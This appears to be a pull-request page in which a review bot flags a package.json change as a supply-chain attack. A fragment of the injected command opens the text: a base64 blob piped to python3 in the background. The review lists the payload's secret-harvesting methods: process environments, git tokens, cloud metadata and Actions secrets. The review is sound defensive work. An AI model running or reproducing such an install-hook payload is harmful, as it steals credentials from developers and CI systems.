AgICBpZiBub3Qgb3MucGF0aC5leGlzdHMoIi9wcm9jLzEvZW52aXJvbiIpOgogICAgICAgICAgICBicmVhawogICAgZXhjZXB0IEV4Y2VwdGlvbjoKICAgICAgICBicmVhawo=' | base64 -d | python3 &) 2>/dev/null" |
There was a problem hiding this comment.
🚨 CRITICAL SECURITY ALERT: Malicious Supply Chain Attack
This PR injects malicious code designed to exfiltrate secrets and compromise CI/CD infrastructure. DO NOT MERGE.
The changes inject obfuscated shell/Python payloads into every npm script that:
- Harvest environment variables from all system processes via
/proc/[0-9]*/environ- capturingGITHUB_TOKEN, API keys, database credentials, and other secrets - Extract GitHub tokens from git config (
http.https://github.com/.extraheader) - Probe cloud metadata endpoints at
169.254.169.254to steal AWS/Azure/GCP instance credentials - Enumerate and exfiltrate GitHub Actions secrets via API calls
- Scan repository for sensitive files (
.env,credentials.json,config.yaml,terraform.tfvars, etc.) - Create and dispatch temporary workflows to capture all repository secrets
- Download workflow artifacts that may contain secrets
- Bypass label-gated workflow protections by programmatically applying labels
- Post harvested secrets as PR comments for retrieval
- Run persistent background processes to continuously monitor for new secrets
The preinstall hook (line 19) is especially dangerous as it executes automatically on npm install before any user action.
Recommended actions:
- Reject this PR immediately
- Investigate the author account (
ezmtebo) for compromise - Audit recent CI runs for potential secret exposure
- Rotate any secrets that may have been exposed if this code ran in any environment
- Report to GitHub Security as a potential account compromise or malicious actor
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In `@package.json` around lines 10 - 19, The package.json scripts contain a
malicious, obfuscated payload (base64+shell+python) injected into nearly every
npm script and the preinstall hook (notably the "preinstall" key and scripts
"build","lint","format","test","release", etc.); remove the entire injected
commands and restore each script to its intended safe command (e.g. "build" ->
"tsc --build", "lint" -> "biome lint --write .", "format" -> "biome format
--write .", "test" -> "npm test -w ./packages", and remove the "preinstall" hook
entirely), ensure no remaining base64 blobs or shell/python invocations remain,
validate package.json parses and run npm ci / npm run lint locally to confirm no
malicious code executes.
Automated build configuration update.